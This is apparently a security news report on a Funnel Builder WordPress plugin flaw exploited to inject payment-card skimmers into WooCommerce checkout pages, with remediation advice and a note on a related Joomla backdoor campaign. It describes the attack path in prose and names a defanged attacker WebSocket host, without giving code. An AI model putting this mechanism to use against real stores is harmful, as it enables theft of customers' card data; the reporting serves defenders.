Funnel Builder flaw injects skimmers into WooCommerce checkouts

A security flaw in the Funnel Builder plugin for WordPress is being exploited to insert malicious JavaScript into WooCommerce checkout pages and capture card numbers, CVVs and billing information. The issue affects all Funnel Builder releases before version 3.15.0.3 and appears on more than 40,000 stores, according to Sansec.

The vulnerability stems from a publicly exposed checkout endpoint in older Funnel Builder versions that allows incoming requests to select internal methods to run without checking caller permissions. Attackers can use an unauthenticated request to invoke a method that writes attacker-controlled data into the plugin’s global settings.

Injected code is stored in the plugin’s External Scripts setting and loads on every Funnel Builder checkout page. Because the snippet runs like a normal tracking tag, it executes in the browser when customers reach checkout.

Observed attacks used fake Google Tag Manager loaders that fetch JavaScript from a remote server and open a WebSocket connection to wss://protect-wss[.]com/ws. The WebSocket returns a skimmer configured for the victim storefront that captures payment fields entered at checkout.

FunnelKit, the plugin developer, released an update to address the flaw in version 3.15.0.3. There is not yet an official CVE identifier. Administrators are advised to update the plugin and examine Settings > Checkout > External Scripts for any unfamiliar entries and remove suspicious scripts.

Operators unable to update immediately should remove unexpected external script entries from checkout settings, monitor for unusual WebSocket connections, and review access logs for unauthorized changes to plugin settings. Site owners should also keep WordPress, WooCommerce and other plugins current and scan sites for injected scripts and known skimmer signatures.

The campaign follows a pattern used by operators who disguise skimming code as analytics or tag manager scripts to avoid casual review. Weeks earlier, a separate campaign targeting Joomla sites used heavily obfuscated PHP backdoors that contact remote servers to receive instructions and serve content determined by the attacker.

Security researcher Puja Srivastava described those Joomla loaders as contacting an external server, sending information about the infected site, and waiting for instructions that let attackers change site behavior without further local file edits.